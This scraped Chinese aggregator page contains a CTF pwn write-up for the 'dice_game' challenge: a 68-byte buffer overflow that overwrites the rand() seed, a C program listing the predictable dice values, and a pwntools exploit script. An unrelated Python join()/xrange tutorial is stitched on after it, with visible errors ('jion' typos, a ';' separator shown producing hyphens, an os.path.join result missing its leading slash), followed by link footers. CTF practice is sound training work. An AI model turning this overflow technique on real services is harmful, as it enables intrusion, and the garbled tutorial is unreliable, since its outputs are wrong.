功防世界dice_game Posted 2021-11-27 ctf-pwn-player
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了功防世界dice_game相关的知识,希望对你有一定的参考价值。
buf 长度最长为 0x50 但是当输入大于 49 的时候不会被截断,所以我们只要覆盖到之前的 seed 就可以为所欲为了。
同时注意到 seed 跟 buf 相差的偏移是 0x40,所以只要 68 个字符就可以溢出覆盖 seed 了。
Exploit
由于担心 python 的 randint 实现跟 libc 的不太一样,所以我写了个小程序
在vim编译运行.c文件步骤:
1. vim filename.c
2. gcc filename.c -o newfilename
3. ./newfilename
#include<stdio.h>#include<stdlib.h>int main(){ srand(0xFFFFFFFF); for(int i = 0;i < 50 ;i ++) printf("%d,",rand()%6 + 1); printf("\\n");}
然后根据这个程序的输出构造 Exploit 脚本
from pwn import *r = remote(‘ip‘, port)nums = [4,5,5,4,3,1,5,4,3,3,5,4,1,2,2,4,5,4,6,1,4,5,6,4,5,4,2,4,2,5,1,5,3,5,1,5,3,3,2,5,3,4,6,3,3,1,5,2,2,2]exp = ‘‘.join([ ‘\\xFF‘ for i in xrange(68)])r.sendline(exp)for i in nums: r.sendline(str(i))r.interactive()xrange与range的区别:xrange生成一个生成器,range生成一个数组 >>>xrange(8) xrange(8) >>> list(xrange(8)) [0, 1, 2, 3, 4, 5, 6, 7] >>> range(8)
Python中有.join()和os.path.join()两个函数,具体作用如下:
. join():连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串 os.path.join(): 将多个路径组合后返回
>>#对序列进行操作(分别使用‘ ‘ 、‘ - ‘与‘:‘作为分隔符)
>> a=[‘1‘,‘2‘,‘3‘,‘4‘,‘5‘]
>> ‘ ‘.join(a)
1 2 3 4 5
>>‘;‘.jion(a)
1-2-3-4-5
>>‘.‘.join(a)
1.2.3.4.5
>>#对字符串进行操作(分别使用‘ ‘ 、‘ - ‘与‘:‘作为分隔符)
>>b=‘hello world‘
>> ‘ ‘.join(b)
h e l l o w o r l d
>>‘-‘ .join(b)
h-e-l-l-o- -w-o-r-l-d
>>‘:‘.jion(b)
h:e:l:l:o: :w:o:r:l:d
>>#对元组进行操作(分别使用‘ ‘ 、‘ - ‘与‘:‘作为分隔符)
>>c=(‘1‘,‘2‘,‘3‘,‘4‘,‘5‘)
>>‘ ‘.join(c)
1 2 3 4 5
>>‘-‘.join(c)
1-2-3-4-5
>>‘:‘.join(c)
1:2:3:4:5
>>#对字典进行无序操作(分别使用‘ ‘ 、‘ - ‘与‘:‘作为分隔符)
>>d={‘name1‘:‘a‘,‘name2‘:‘b‘,‘name3‘:‘c‘,‘name4‘:‘d‘}
>>‘ ‘.jion(d)
name1 name2 name3 name4
>>‘-‘.join(d) name1-name2-name3-name4
>>‘:‘.join(d)
name1:name2:name3:name4
>>#对目录进行操作
>> import os
>>os.path.join(‘/hello/‘,‘good/date‘,‘datbody‘)
hello/good/date/datbody
以上是关于功防世界dice_game的主要内容,如果未能解决你的问题,请参考以下文章
你可能不知道的JavaScript代码片段和技巧(下)
你可能不知道的JavaScript代码片段和技巧(上)
寥寥几行代码,却改变了世界!
带有标记的Android谷歌地图片段
GLSL-片段着色器不同部分的精度不同
片段 getArguments() 空指针异常